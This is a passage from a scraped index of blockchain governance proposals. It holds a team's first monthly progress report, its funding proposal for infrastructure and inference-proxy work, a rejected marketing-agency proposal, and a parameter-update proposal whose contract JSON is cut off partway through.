"}, {"location": "proposals/proposals/2026-q2/74/report1/", "title": "Gonka Labs — Monthly Report No.1", "text": "Дата публикации: 2026-07-18 18:31 UTC
Источник: Discussion #1477 — Gonka Labs - Monthly Report No.1
"}, {"location": "proposals/proposals/2026-q2/74/report1/#_1", "title": "Gonka Labs — Monthly Report No.1", "text": "Hey! Gonka Labs here.
On June 12th the community passed Proposal #74. That vote funded the next stretch of work - infra, ops, and shipping products for the ecosystem.
This is the first public progress report we promised in the proposal (monthly updates on GitHub Discussions). Short version of what landed so far:
We already announced the launch here: OpenBroker - broker for brokers or Devshards as a service (Jun 23).
Quick recap: OpenBroker is managed DevShards-as-a-service. Register, deposit GNK, get an obk-* key, point any OpenAI client at https://api.openbroker.gonka.gg/v1 (UI at https://openbroker.gonka.gg). No wallet whitelist dance, no running your own escrow rotation. GNK billing with no markup. Public stats at https://openbroker.gonka.gg/stats.
mainnet-v0.2.13-v3-post1, route prefix /devshard/v3, 50/50 sticky split behind the router. OpenBroker was already on the v1/v2 path at launch; we completed the network-mandated v3 cutover ahead of the v0.2.14 deadline so brokers do not fall off when classic /v1/devshard goes awayGET /v1/usage and GET /v1/usage/{id} so integrators can pull request-level cost/token data without scraping the UIThanks for the sharp measurements. Where we landed so far:
GET /v1/usage/{id} so you can see whether a request settled, what tokens/cost we recorded, and the FinalCost snapshot when the gateway returns it/v1/models /v1/models /v1/models - still on the polish list (model ids are also in docs / 400 text); not blocking chat completionsOpenBroker is also doing what the launch post promised: shake out new DevShard versions at production scale. v3 on our gateways was exactly that - migrate, smoke /devshard/v3, keep MiniMax brokers online through the cutover.
Links:
Pulse is the live media + sentiment dashboard for Gonka (see it as a backbone and a part of proposal item named MTD / Marketing Transparency Dashboard - we shipped essential part that does data gathering first). It pulls public Gonka coverage from X, Instagram, YouTube, and the web into one place, scores tone via Gonka LLMs (proxy.gonka.gg), and shows activity / reach / engagement next to GNK market data. Built so anyone can see what the ecosystem is saying without opening ten tabs.
Live: https://pulse.gonka.gg
"}, {"location": "proposals/proposals/2026-q2/74/report1/#what-shipped", "title": "What shipped", "text": "Proposal #74 called out demand activation and making Gonka easier to follow for non-technical users. Pulse is a part of that \"transparency layer\" - a public pulse of coverage, tone, and creators, wired into gonka.gg and backed by Networks collective inference stack.
"}, {"location": "proposals/proposals/2026-q2/74/report1/#3-gonkagg-bugs-product-work", "title": "3. gonka.gg - bugs + product work", "text": "Explorer side of the proposal was \"gonka.gg V2.0\" - faster engine, better UI, mobile, accurate GPU/inference metrics. We are not done with that part of roadmap yet, but a lot of the painful day-to-day stuff is already fixed and several new surfaces shipped.
"}, {"location": "proposals/proposals/2026-q2/74/report1/#qa-bug-smash-240", "title": "QA bug smash (~240)", "text": "We ran a dedicated desktop + mobile QA pass with an external unbiased audit, and closed on the order of ~240 tracker bugs (desktop tracker version into the 170s, mobile into the 60s - still an ongoing flow since we ship new features that are getting QA tested as well).
Rough shape of what that covered:
Shipped across a long streak of QA PRs and multiple levels of sanity checks. Not glamorous, but this is the difference between \"works for some people\" and \"works for 70% of 10k+ people a day on phones\".
"}, {"location": "proposals/proposals/2026-q2/74/report1/#product-data-updates-on-gonkagg-since-the-vote", "title": "Product / data updates on gonka.gg (since the vote)", "text": "Inference after DevShards (v0.2.12+)
devshard-poller that ingests off-chain session diffs into ClickHouse (the chain no longer emits per-inference txs the old way) and is properly aligned with V3 flow, and is optimized to not make heavy load for the network (overall produced load caused by data ingestion went down X27k)./network/inference (Inference tab) is driven from that pipeline - 24h stats, gateway traffic, timelines./devshard/v3 and union live shard inventories so traffic does not silently drop when gateways switch).Network analytics
/network - weight distribution across AI models per epoch, with an all-epochs view (Redis-cached so it stays fast).Token holders
Infra behind the explorer (also see section 4)
Explorer: https://gonka.gg Inference: https://gonka.gg/network/inference Network: https://gonka.gg/network
"}, {"location": "proposals/proposals/2026-q2/74/report1/#why-it-matters", "title": "Why it matters", "text": "Faster deploys, less risk of a bugfix taking down indexing, room to run the heavier pre-compute work from the V2 explorer roadmap.
"}, {"location": "proposals/proposals/2026-q2/74/report1/#4-proxygonkagg-b2b-inference-public-status", "title": "4. proxy.gonka.gg - B2B inference + public status", "text": "proxy.gonka.gg is our OpenAI-compatible inference proxy on top of Gonka DevShards - API keys, balances, usage, docs, chat playground. Public API at https://api.proxy.gonka.gg/v1. Pulse (and other Gonka Labs apps) call the same stack for LLM work, so when we harden the proxy we harden half the product surface too.
"}, {"location": "proposals/proposals/2026-q2/74/report1/#numbers-as-of-jul-18_1", "title": "Numbers (as of Jul 18)", "text": "Measured window below is since the Jul 4 dedicated-server migrate (usage DB moved with the stack - earlier Railway and even earlier Qupra DC history is not in this series). The product itself was already live before Proposal #74.
api.proxy.gonka.gg) - moved off the flaky VPS / and too unreliable Railway path onto a tuned server with local Postgres, own DevShard gateway, Proxy edge for the API. Frontend stays on other host at proxy.gonka.gg with rewrites into the API.mainnet-v0.2.13-v3-post1, route /devshard/v3) ahead of the network v0.2.14 deadline - blue/green cutover with a temp gateway + drain so in-flight MiniMax traffic survived the switch. Currently 32+32 (64 inflight escrows) active v3 escrows (MiniMax + Kimi)Proposal #74 called out proxy.gonka.gg as the B2B / analytics lane. This stretch was less \"new landing page\" and more \"make the pipe carry real load\": multi-billion token days, a public status surface customers can trust, and staying on the current DevShard protocol so keys do not die when classic /v1/devshard goes away. Same gateway lessons feed OpenBroker - one network path. More \"b2b\" work ahead.
Links:
We are still heads-down on the rest of the Proposal #74 checklist - hardening infra under real load, polishing what already shipped, and building the next products on the list. More updates as they land. Stay tuned.
"}, {"location": "proposals/proposals/2026-q2/74/report1/#links", "title": "Links", "text": "Feedback welcome in the thread - what should we prioritize next month from the proposal list?
"}, {"location": "proposals/proposals/2026-q2/74/report1/#full-proposal", "title": "Full Proposal", "text": "Full proposal — click to expand · Open in separate page →"}, {"location": "proposals/proposals/2026-q2/74/report1/#community-funding-proposal-gonka-labs-year-one", "title": "Community Funding Proposal — Gonka Labs — Year One", "text": "Authors: Tim, Mike, Artem Subject to governance vote
A request for 70,000 USDT + 330,000 GNK (180-day vesting) from the Gonka community pool to fund enterprise-grade improvements to our core infrastructure products — aligned with the Gonka Network Development Roadmap.
"}, {"location": "proposals/proposals/2026-q2/74/report1/#overview", "title": "Overview", "text": "Gonka Labs is requesting 70,000 USDT + 330,000 GNK with Vesting from the Gonka community pool. We've already shipped 16+ products — all without external funding. The core of this proposal is taking what we have to enterprise grade, plus two new products: G-Router — an OpenRouter-style layer that unifies access to all Gonka inference providers behind a single endpoint — and MTD (Marketing Transparency Dashboard).
This is not payment for past work. The first 6 months of Gonka Labs — everything you see in the track record — were self-funded. We don't ask for compensation for what's already done. This proposal funds the next 6 months of Gonka Labs building for the ecosystem — together wrapping a full year of us building.
The 6 months are five focused products: gonka.gg V2.0 (new high-performance engine), proxy.gonka.gg (B2B inference portal with analytics), rpc.gonka.gg (multi-provider aggregation, SLA), Gonka App (iOS + Android superapp), and Gonkavote (expanded governance tooling).
70,000 USDT is released in a single payment upon approval — covers server infrastructure and operations for the 6 months ahead. 330,000 GNK vests over 180 days — team payment for future work, verifiable on-chain.
"}, {"location": "proposals/proposals/2026-q2/74/report1/#what-the-network-gets", "title": "What the network gets", "text": "All improvements target Gonka's core goals: accelerating adoption, lowering entry barriers, and institutional maturity. Institutional maturity means the network gains public uptime SLAs, open-source infrastructure layers, enterprise-grade API reliability, auditable governance processes, and transparent accountability — the signals validators, large integrators, and institutional participants need to take Gonka seriously. A more mature network is more valuable for every participant.
Aligned with the Gonka Network Development Roadmap
We built Gonka Labs products as non-commercial builders — no ads, no third-party product placements, no PR slots for sale. Any fees cover infrastructure and operational costs only — no commercial margins, no revenue extraction. All current ecosystem products will remain non-commercial. Where pricing exists, it stays at the average level across the Gonka network.
"}, {"location": "proposals/proposals/2026-q2/74/report1/#who-we-are", "title": "Who We Are", "text": "Gonka Labs is a three-person engineering team — Tim, Mike, and Artem — that has been building infrastructure for the Gonka ecosystem since December 2025. We stumbled upon an interview with the Gonka founders, and their enthusiasm was astonishing. On December 12, 2025, we launched gonka.gg — the first blockchain explorer for Gonka.
We asked the community: \"What tools and services do we lack the most?\" — and then built them. One by one. Every single product started as a community request.
"}, {"location": "proposals/proposals/2026-q2/74/report1/#track-record", "title": "Track Record", "text": "In under 6 months, with zero external funding, we shipped 16+ products and published 15 public open-source repositories. Here's what's live today:
"}, {"location": "proposals/proposals/2026-q2/74/report1/#gonkagg", "title": "Gonka.gg", "text": "Block explorer + analytics platform. 5,000+ daily users, 2M+ API requests/day, 270M+ transactions indexed. A single home for everything Gonka, with nine sub-products inside: Block Explorer, Transactions, Participants, Inference Map, Slashing Monitor, Faucet, Reward Calculator, Node Tracker, Full GPU History.
"}, {"location": "proposals/proposals/2026-q2/74/report1/#rpcgonkagg", "title": "rpc.gonka.gg", "text": "Managed RPC infrastructure. 400+ endpoints across 6 surfaces. ClickHouse-indexed, up to 110x faster than raw RPC.
"}, {"location": "proposals/proposals/2026-q2/74/report1/#proxy", "title": "Proxy", "text": "Cloud-hosted OpenAI-compatible API for Gonka inference at proxy.gonka.gg. 1–2B tokens served daily.
"}, {"location": "proposals/proposals/2026-q2/74/report1/#gonka-app", "title": "Gonka App", "text": "Open-source Chrome extension wallet with GNS integration, governance, IBC tokens, and dApp provider. 700+ users. gonkalabs/ggwallet
"}, {"location": "proposals/proposals/2026-q2/74/report1/#gonka-name-service", "title": "Gonka Name Service", "text": "On-chain human-readable .gnk names. 4,000+ registered. Integrated across all our products. gonkalabs/gns
"}, {"location": "proposals/proposals/2026-q2/74/report1/#opengnk", "title": "OpenGNK", "text": "Self-hosted OpenAI-compatible proxy for Gonka inference. 400+ installs. Tool calling, privacy sanitization. gonkalabs/opengnk
"}, {"location": "proposals/proposals/2026-q2/74/report1/#gonkablocks", "title": "Gonkablocks", "text": "No-code AI tools platform on Gonka inference at blocks.gonka.gg. Pick a ready-made tool — Hive-Research, translator, summarizer, transcriber, and more — paste input, hit Run. No API keys, no registration, free for everyone.
"}, {"location": "proposals/proposals/2026-q2/74/report1/#gonkavotecom", "title": "Gonkavote.com", "text": "Pre-vote governance signaling tool at gonkavote.com. Gauge community sentiment on a proposal before it goes to on-chain vote. gonkalabs/prevote
"}, {"location": "proposals/proposals/2026-q2/74/report1/#g-meter", "title": "G-Meter", "text": "Network performance metrics dashboard at meter.gonka.gg. Real-time latency, throughput, and health monitoring across the Gonka network. gonkalabs/gmeter
"}, {"location": "proposals/proposals/2026-q2/74/report1/#feather", "title": "Feather", "text": "Lightweight, open-source Gonka RPC node anyone can run. Designed for low-resource hardware and self-hosted setups. gonkalabs/feather
"}, {"location": "proposals/proposals/2026-q2/74/report1/#tx-scanner", "title": "Tx-Scanner", "text": "Open-source blockchain indexer that accumulates millions of Gonka transactions and serves them with sub-second API latency. Powers gonka.gg. gonkalabs/tx-scanner
"}, {"location": "proposals/proposals/2026-q2/74/report1/#gonka-agent", "title": "Gonka Agent", "text": "Open-source agent toolkit for building autonomous workflows on top of Gonka inference. gonkalabs/gonka-agent
"}, {"location": "proposals/proposals/2026-q2/74/report1/#contract-playground", "title": "Contract Playground", "text": "Write, compile, simulate, and deploy CosmWasm smart contracts entirely in the browser. gonkalabs/wasm-cloud-compiler
"}, {"location": "proposals/proposals/2026-q2/74/report1/#gonkaclaw", "title": "GonkaClaw", "text": "One-command AI agent setup powered by Gonka inference. gonkalabs/gonkaclaw
"}, {"location": "proposals/proposals/2026-q2/74/report1/#ready-set-gonka", "title": "Ready Set Gonka", "text": "Community project directory for the Gonka ecosystem at readysetgonka.com.
"}, {"location": "proposals/proposals/2026-q2/74/report1/#gonka-restitution-committee-grc", "title": "Gonka Restitution Committee (GRC)", "text": "Gonka Labs serves on the GRC — the community body investigating incidents where miners lost rewards and facilitating their restoration. We build open-source tooling for case intake, auditing, and resolution, and publish all findings publicly.
Miner Restitution · Open Audits · Community Work — GRC-intake-form, GRC-e267-kimi_shortfall, GRC-e247-preserver-audit
"}, {"location": "proposals/proposals/2026-q2/74/report1/#built-in-the-open", "title": "Built in the open", "text": "15 public repositories at github.com/gonkalabs — over 80% of our code. Inspect, fork, run, and contribute. The infrastructure powering the Gonka ecosystem is yours to audit.
"}, {"location": "proposals/proposals/2026-q2/74/report1/#why-this-proposal", "title": "Why This Proposal", "text": "Everything we've built so far has been self-funded. We've been running on personal savings and enthusiasm. That model works for prototypes — it doesn't work for enterprise infrastructure.
We built Gonka Labs products as non-commercial builders. No ads, no third-party product placement, no PR slots for sale. All current ecosystem products will remain non-commercial — just tools the ecosystem needs.
The Gonka ecosystem is growing. rpc.gonka.gg is the default Keplr wallet RPC. proxy.gonka.gg serves 1–2B inference tokens daily — and growing. gonka.gg is the biggest block explorer in Gonka, serving 5,000+ users daily — it is usually the primary entry point where new users first land when they want to understand or onboard into the Gonka network. The services are real, the load is real, and the quality bar needs to match. We want to:
We're not asking for money to start building — we're asking for money to keep building at a higher standard. The track record speaks for itself.
"}, {"location": "proposals/proposals/2026-q2/74/report1/#the-ask", "title": "The Ask", "text": "70,000 USDT + 330,000 GNK 6 months of infra & ops / 180-day vesting
From the Gonka community pool · Subject to governance vote
Both components — USDT and GNK — are forward payment for work ahead, not payment for the past. The USDT covers 6 months of server infrastructure and operational costs. The GNK is the team's primary payment — vesting linearly over 180 days. Both are transparent and on-chain from day one.
This is the minimum for enterprise-grade infrastructure, service quality at the level we're committing to, and team payment for the work ahead.
"}, {"location": "proposals/proposals/2026-q2/74/report1/#disbursement-mechanism", "title": "Disbursement Mechanism", "text": "The proposal uses a two-component structure. The USDT portion is released immediately on approval to cover infrastructure and operations. The GNK portion vests linearly on-chain over 180 days — this is the team's primary payment for their work and directly aligns our incentives with the health of the network.
"}, {"location": "proposals/proposals/2026-q2/74/report1/#1-half-a-year-of-infra-and-ops-70000-usdt", "title": "1. Half a year of infra and ops — 70,000 USDT", "text": "Released to Gonka Labs immediately after governance approval. Covers 6 months of bare-metal hosting (ClickHouse clusters, CDN, RPC node bandwidth), monitoring stack, operational expenses, and a portion allocated directly to the team as a guaranteed stablecoin payment for their work.
"}, {"location": "proposals/proposals/2026-q2/74/report1/#2-gnk-locked-in-180-day-linear-vesting-330000-gnk", "title": "2. GNK locked in 180-day linear vesting — 330,000 GNK", "text": "Locked in vesting. Released over 180 days. This is the team's payment for future work — paid in GNK, vested, verifiable on-chain. The longer the network grows, the more our GNK payment is worth. That's the alignment.
"}, {"location": "proposals/proposals/2026-q2/74/report1/#budget-breakdown", "title": "Budget Breakdown", "text": ""}, {"location": "proposals/proposals/2026-q2/74/report1/#usdt-70000-usdt-total", "title": "USDT — 70,000 USDT total", "text": "57% — Server Infrastructure — 40,000 USDT 6 months of bare-metal and cloud hosting: ClickHouse indexer clusters (270M+ transactions), CDN, RPC node bandwidth (rpc.gonka.gg), seriously refactored proxy.gonka.gg infrastructure to handle commercial loads, uptime monitoring, DDoS protection, SSL. These costs are fixed and non-negotiable for any production service.
43% — Development & Operations — 30,000 USDT CI/CD pipeline costs and build minutes. AI coding tools and subscriptions (used daily across the entire engineering workflow). Security scanning and vulnerability tooling. Load testing infrastructure for the proxy and RPC layers. Domain management, SSL, and certificate automation. Legal and compliance overhead. Community support tooling and documentation platform. Communications and project management for a distributed team over 6 months. App Store and Google Play developer accounts. A portion of this budget is allocated as a direct stablecoin payment to the engineering team — a small guaranteed base on top of GNK vesting, because we believe Gonka will thrive but we still have real bills.
"}, {"location": "proposals/proposals/2026-q2/74/report1/#where-the-monthly-usdt-goes", "title": "Where the monthly USDT goes", "text": "70,000 USDT over 6 months is roughly 11,600 USDT per month. The majority covers infrastructure and operations. A portion of the 30,000 USDT Development & Operations budget goes directly to the engineering team as a guaranteed stablecoin payment — a small stable base on top of GNK. The rest funds the full dev and ops stack below:
Line Item Description Servers & cloud (IaaS) Bare-metal and cloud compute for indexers, RPC nodes, and API backends. The biggest hidden line item is data egress — outbound traffic is billed per GB, and we serve 2M+ API requests per day. Managed databases ClickHouse clusters with replication — 270M+ indexed transactions and growing daily. Storage, RAM, and query compute scale with the chain. Network & CDN Cloudflare and edge caching in front of every public endpoint. Security WAF, DDoS protection, SSL certificates, secrets management. Non-negotiable for services that wallets depend on. Observability Uptime monitoring, alerting, log aggregation, error tracking. Quietly becomes the second-largest cloud expense in most production setups — ours included. Development & DevOps GitHub organization, CI/CD runners, build and staging environments. SaaS & operations Communication, helpdesk, mail, and productivity tooling for the team and community support. Backups & disaster recovery Off-site snapshots of every database and config, with tested restores. Boring until the day it isn't."}, {"location": "proposals/proposals/2026-q2/74/report1/#gnk-330000-gnk-180-day-linear-vesting", "title": "GNK — 330,000 GNK (180-day linear vesting)", "text": "100% — Team Payment — 330,000 GNK Payment for the future work of Tim, Mike, and Artem over 180 days. Distributed in GNK with linear vesting. The GNK structure means our economic outcome is directly tied to network performance and ecosystem health — we win when Gonka wins.
"}, {"location": "proposals/proposals/2026-q2/74/report1/#roadmap-deliverables", "title": "Roadmap & Deliverables", "text": "Five core products hardened to enterprise grade. Six months. Plus two new products: G-Router — a multi-broker inference router (OpenRouter-style experience across all Gonka inference providers — a direct implementation of Track 2, Project 2 from the Gonka Network Development Roadmap) and MTD — Marketing Transparency Dashboard. Each product below has specific, concrete deliverables. This roadmap is not final — priorities will be re-evaluated with the community each month based on actual network needs.
"}, {"location": "proposals/proposals/2026-q2/74/report1/#rpcgonkagg-multi-provider-rpc-aggregation-enterprise-reliability", "title": "rpc.gonka.gg — Multi-provider RPC aggregation & enterprise reliability", "text": "Gonka Roadmap: Track 4: Network reliability & observability · Track 8: Enterprise workloads
Gonka Roadmap: Track 2: Developer & AI agent access · Track 11: Demand activation · Track 8: Enterprise workloads
Gonka Roadmap: Track 4: Network reliability & observability · Track 11: Demand activation
Gonka Roadmap: Track 2: Developer & AI agent access · Track 11: Demand activation
Gonka Roadmap: Track 12: Community coordination
Already live at gonkavote.com · open-source on GitHub. This proposal expands it further.
Gonka Roadmap: Track 2: Developer & AI agent access
Gonka Roadmap: Track 11: Demand activation & ecosystem growth
Gonka Roadmap: Track 2, Project 2: Adapter for OpenRouter / aggregators — direct 1:1 implementation · Track 11: Demand activation
This list is a working draft. Every month we'll publish a progress report on GitHub Discussions and re-evaluate priorities based on community feedback and on-chain signals. If the network needs something more urgently, that's what gets built next. And if the community asks for something directly — the way they asked for the RPC aggregator, the block explorer, the faucet — we build it. That's always been how we work.
Gonkablocks, meter.gonka.gg, and every other project we've shipped will continue to receive bug fixes and maintenance. If any of them gains serious traction, it moves up the priority list — this proposal gives us the runway to act on those signals without scrambling for resources.
"}, {"location": "proposals/proposals/2026-q2/74/report1/#team-growth", "title": "Team Growth", "text": "We started as three engineers and shipped 16+ products. Imagine what we can do with a larger team.
Current team (3): Tim, Mike, Artem — full-stack engineers who built everything from scratch.
Target team (3–5 by end of 2026): Up to two additional engineers — backend and mobile — to support growing infrastructure.
A larger team means faster iteration, better uptime, more products, and dedicated support for the community.
"}, {"location": "proposals/proposals/2026-q2/74/report1/#accountability", "title": "Accountability", "text": "We believe in transparency and accountability. Here's how we'll keep the community informed:
We're not asking you to trust us blindly — we're asking you to judge us by our work. We've shipped 16+ products in 6 months. The code is open. The metrics are real. And we're just getting started.
"}, {"location": "proposals/proposals/2026-q2/74/report1/#your-vote-matters", "title": "Your Vote Matters", "text": "This proposal can only move forward with your vote. Gonka is a decentralized network, and every decision about how community funds are spent belongs to the community.
Vote YES if: You believe Gonka Labs has demonstrated consistent value to the ecosystem and deserves continued funding to scale its impact.
Vote NO if: You think the ask is too high, the roadmap isn't convincing, or you'd prefer to see funds allocated differently. Your voice matters either way.
"}, {"location": "proposals/proposals/2026-q2/74/report1/#voting-is-now-live", "title": "Voting is now live", "text": "On-chain voting for this proposal is open. View and vote on gonka.gg/network/proposals/74.
Vote Now · Proposal #74 on gonka.gg
"}, {"location": "proposals/proposals/2026-q2/74/report1/#summary", "title": "Summary", "text": "Item Detail USDT request 70,000 USDT (single payment) GNK request 330,000 GNK (180-day linear vesting) USDT breakdown 40,000 server infrastructure + 30,000 dev & ops GNK breakdown Team payment, linear vesting over 180 days Vesting transparency Public on-chain contract, verifiable by anyone Focus products rpc.gonka.gg · proxy.gonka.gg · gonka.gg · Gonka App · Gonkavote Duration 6 months (180 days from approval) Decision Community governance vote"}, {"location": "proposals/proposals/2026-q2/75/", "title": "#75 – Private Inc × Gonka — Network Growth Initiative", "text": "Rejected
Proposal ID: 75
Type: Execute Contract
Submit: 2026-06-13 16:24 UTC
Voting: 2026-06-13 16:24 UTC → 2026-06-15 16:24 UTC
Proposer: gonka1q022xj6uyylzzhdlsh3jtkp5ycrnzwgpwgp4tn
Metadata: https://vote.gonka.vip/tenders/ed8148eb-535e-4677-9a6b-5316c81c996a
Failed reason: proposal did not get enough votes to pass
$300,000 · Community PoolView on gonka.gg
IMPORTANT: Below is a condensed version of the proposal. It highlights only the key points and does not disclose all details of the initiative, implementation mechanics, KPIs, or terms. It is strongly recommended to review the full version of the document via the link: https://vote.gonka.vip/tenders/ed8148eb-535e-4677-9a6b-5316c81c996a
Private Inc × Gonka — Network Growth Initiative
Private Inc proposes launching a growth program for the Gonka ecosystem aimed at attracting AI developers, AI companies, infrastructure operators, GPU farms, and new computing resources to the network.
Unlike traditional marketing campaigns focused on impressions and reach, this initiative is centered on measurable ecosystem growth: onboarding new participants, connecting infrastructure providers, and increasing available GPU resources.
Who We Are
Private Inc is a performance marketing and media buying company with more than 7 years of experience working with technology, AI, Web3, and DePIN projects.
The team consists of more than 100 specialists, and the monthly advertising budget exceeds $3 million. Our core expertise is building user acquisition and conversion systems rather than conducting PR activities.
Why Gonka
After analyzing the project, we concluded that Gonka’s growth potential significantly exceeds its current market awareness.
Despite having a functioning product, community, and infrastructure, many AI developers, GPU providers, and companies are still unfamiliar with the network’s capabilities. We believe now is the right time to scale the ecosystem through targeted participant acquisition.
Target Market
The primary market is the United States, including regions with a high concentration of AI companies and computing infrastructure.
Target audiences:
• AI Developers • AI Startups and AI Companies • GPU Farms and Compute Providers • Infrastructure Operators and Data Centers • Web3 & DePIN Communities
How It Works
Audience acquisition is planned through Google Ads, Meta Ads, YouTube Ads, and other channels.
Users will be directed to specialized landing pages, after which they will go through qualification and onboarding. The main objective is not traffic itself, but converting interested participants into active users of the Gonka ecosystem.
Funding Request
The full program is designed around a budget of 600,000 USDT.
Only Phase One is being proposed for consideration — 300,000 USDT over 45 days.
Up to 95% of the budget is planned to be allocated directly to user acquisition, infrastructure operator recruitment, and scaling effective advertising campaigns. Private Inc provides its existing team, advertising infrastructure, and operational resources without requiring additional funding.
Phase One Targets
Key targets for the first phase:
• 325,000–400,000 targeted visits • 1,000–1,500 qualified AI developers • 250–350 host leads • 100–125 new infrastructure operators • Up to 2,000 additional GPUs connected to the network
The primary focus is on real ecosystem expansion and increased computing capacity.
Transparency & Reporting
Throughout implementation, regular public reporting is planned regarding expenditures, campaign performance, participant acquisition, and KPI achievement. This will allow the community to objectively evaluate the program’s results.
Conclusion
Private Inc is not requesting funding to build a new team or infrastructure — all necessary resources already exist.
The funds are intended to be used primarily for attracting new users, developers, infrastructure operators, and computing resources into the Gonka ecosystem.
Successful completion of the first phase will provide measurable results and help determine the potential for further scaling of the growth program.
IMPORTANT: This is a condensed version of the document and does not include many important details, calculations, implementation terms, or supporting rationale. To fully understand the proposal, please review the complete version of the document via the following link: https://vote.gonka.vip/tenders/ed8148eb-535e-4677-9a6b-5316c81c996a
"}, {"location": "proposals/proposals/2026-q2/75/#final-tally", "title": "Final Tally", "text": "Yes 0 (0.0%) No 0 (0.0%) Veto 313,499 (100.0%) Abstain 0 (0.0%) Total 313,499 votes"}, {"location": "proposals/proposals/2026-q2/75/#messages", "title": "Messages", "text": "# Type 1/cosmwasm.wasm.v1.MsgExecuteContract Contract Details [\n {\n \"@type\": \"/cosmwasm.wasm.v1.MsgExecuteContract\",\n \"sender\": \"gonka10d07y265gmmuvt4z0w9aw880jnsr700j2h5m33\",\n \"contract\": \"gonka18pkq9mwxxlmyq7kr5txhm060wemg2s4u94wvsfd9w2kdc0u99d6spk8pz2\",\n \"msg\": {\n \"withdraw_ibc\": {\n \"amount\": \"300000000000\",\n \"denom\": \"ibc/115F68FBA220A028C6F6ED08EA0C1A9C8C52798B14FB66E6C89D5D8C06A524D4\",\n \"recipient\": \"gonka1vvhnfezn37yc8aftc0af6rcn97xn53fqjmdzf9\"\n }\n },\n \"funds\": []\n }\n]\nPassed
Proposal ID: 76
Type: Execute Contract, Update Params
Submit: 2026-06-15 23:39 UTC
Voting: 2026-06-15 23:39 UTC → 2026-06-17 23:39 UTC
Proposer: gonka1y2a9p56kv044327uycmqdexl7zs82fs5ryv5le
View on gonka.gg
Register devshard approved version v2.
"}, {"location": "proposals/proposals/2026-q2/76/#final-tally", "title": "Final Tally", "text": "Yes 239,924 (100.0%) No 17 (0.0%) Veto 0 (0.0%) Abstain 16 (0.0%) Total 239,957 votes"}, {"location": "proposals/proposals/2026-q2/76/#messages", "title": "Messages", "text": "# Type 1/inference.inference.MsgUpdateParams 2 /cosmwasm.wasm.v1.MsgExecuteContract 3 /cosmwasm.wasm.v1.MsgExecuteContract 4 /cosmwasm.wasm.v1.MsgExecuteContract 5 /cosmwasm.wasm.v1.MsgExecuteContract 6 /cosmwasm.wasm.v1.MsgExecuteContract 7 /cosmwasm.wasm.v1.MsgExecuteContract 8 /cosmwasm.wasm.v1.MsgExecuteContract 9 /cosmwasm.wasm.v1.MsgExecuteContract 10 /cosmwasm.wasm.v1.MsgExecuteContract Contract Details [\n {\n \"@type\": \"/inference.inference.MsgUpdateParams\",\n \"authority\": \"gonka10d07y265gmmuvt4z0w9aw880jnsr700j2h5m33\",\n \"params\": {\n \"epoch_params\": {\n \"epoch_length\": \"15391\",\n \"epoch_multiplier\": \"1\",\n \"epoch_shift\": \"16980\",\n \"default_unit_of_compute_price\": \"100\",\n \"poc_stage_duration\": \"35\",\n \"poc_exchange_duration\": \"0\",\n \"poc_validation_delay\": \"5\",\n \"poc_validation_duration\": \"240\",\n \"set_new_validators_delay\": \"120\",\n \"inference_validation_cutoff\": \"2\",\n \"inference_pruning_epoch_threshold\": \"2\",\n \"inference_pruning_max\": \"5000\",\n \"poc_pruning_max\": \"1000\",\n \"poc_slot_allocation\": {\n \"value\": \"1\",\n \"exponent\": -1\n },\n \"confirmation_poc_safety_window\": \"500\"\n },\n \"validation_params\": {\n \"false_positive_rate\": {\n \"value\": \"5\",\n \"exponent\": -2\n },\n \"min_ramp_up_measurements\": 10,\n \"pass_value\": {\n \"value\": \"99\",\n \"exponent\": -2\n },\n \"min_validation_average\": {\n \"value\": \"1\",\n \"exponent\": -2\n },\n \"max_validation_average\": {\n \"value\": \"1\",\n \"exponent\": 0\n },\n \"expiration_blocks\": \"150\",\n \"epochs_to_max\": \"30\",\n \"full_validation_traffic_cutoff\": \"10000\",\n \"min_validation_halfway\": {\n \"value\": \"5\",\n \"exponent\": -2\n },\n \"min_validation_traffic_cutoff\": \"100\",\n \"miss_percentage_cutoff\": {\n \"value\": \"1\",\n \"exponent\": -2\n },\n \"miss_requests_penalty\": {\n \"value\": \"1\",\n \"exponent\": 0\n },\n \"timestamp_expiration\": \"300\",\n \"timestamp_advance\": \"30\",\n \"estimated_limits_per_block_kb\": \"0\",\n \"invalid_reputation_preserve\": {\n \"value\": \"0\",\n \"exponent\": 0\n },\n \"bad_participant_invalidation_rate\": {\n \"value\": \"1\",\n \"exponent\": -1\n },\n \"invalidation_h_threshold\": {\n \"value\": \"4\",\n \"exponent\": 0\n },\n \"downtime_good_percentage\": {\n \"value\": \"98\",\n \"exponent\": -2\n },\n \"downtime_bad_percentage\": {\n \"value\": \"99\",\n \"exponent\": -2\n },\n \"downtime_h_threshold\": {\n \"value\": \"1\",\n \"exponent\": 2\n },\n \"downtime_reputation_preserve\": {\n \"value\": \"0\",\n \"exponent\": 0\n },\n \"quick_failure_threshold\": {\n \"value\": \"1\",\n \"exponent\": -6\n },\n \"binom_test_p0\": {\n \"value\": \"1\",\n \"exponent\": -1\n },\n \"claim_validation_enabled\": false,\n \"logprobs_mode\": \"processed_logprobs\"\n },\n \"poc_params\": {\n \"default_difficulty\": 5,\n \"validation_sample_size\": 200,\n \"poc_data_pruning_epoch_threshold\": \"1\",\n \"weight_scale_factor\": null,\n \"model_params\": null,\n \"model_id\": \"\",\n \"seq_len\": \"0\",\n \"poc_v2_enabled\": true,\n \"confirmation_poc_v2_enabled\": true,\n \"stat_test\": null,\n \"validation_slots\": 0,\n \"poc_normalization_enabled\": true,\n \"poc_stronger_rng_enabled\": false,\n \"models\": [\n {\n \"model_id\": \"Qwen/Qwen3-235B-A22B-Instruct-2507-FP8\",\n \"seq_len\": \"1024\",\n \"stat_test\": {\n \"dist_threshold\": {\n \"value\": \"2\",\n \"exponent\": -1\n },\n \"p_mismatch\": {\n \"value\": \"1\",\n \"exponent\": -1\n },\n \"p_value_threshold\": {\n \"value\": \"5\",\n \"exponent\": -2\n }\n },\n \"weight_scale_factor\": {\n \"value\": \"3593\",\n \"exponent\": -4\n },\n \"penalty_start_epoch\": \"0\"\n },\n {\n \"model_id\": \"moonshotai/Kimi-K2.6\",\n \"seq_len\": \"1024\",\n \"stat_test\": {\n \"dist_threshold\": {\n \"value\": \"4\",\n \"exponent\": -1\n },\n \"p_mismatch\": {\n \"value\": \"1\",\n \"exponent\": -1\n },\n \"p_value_threshold\": {\n \"value\": \"5\",\n \"exponent\": -2\n }\n },\n \"weight_scale_factor\": {\n \"value\": \"78\",\n \"exponent\": -2\n },\n \"penalty_start_epoch\": \"251\"\n },\n {\n \"model_id\": \"MiniMaxAI/MiniMax-M2.7\",\n \"seq_len\": \"1024\",\n 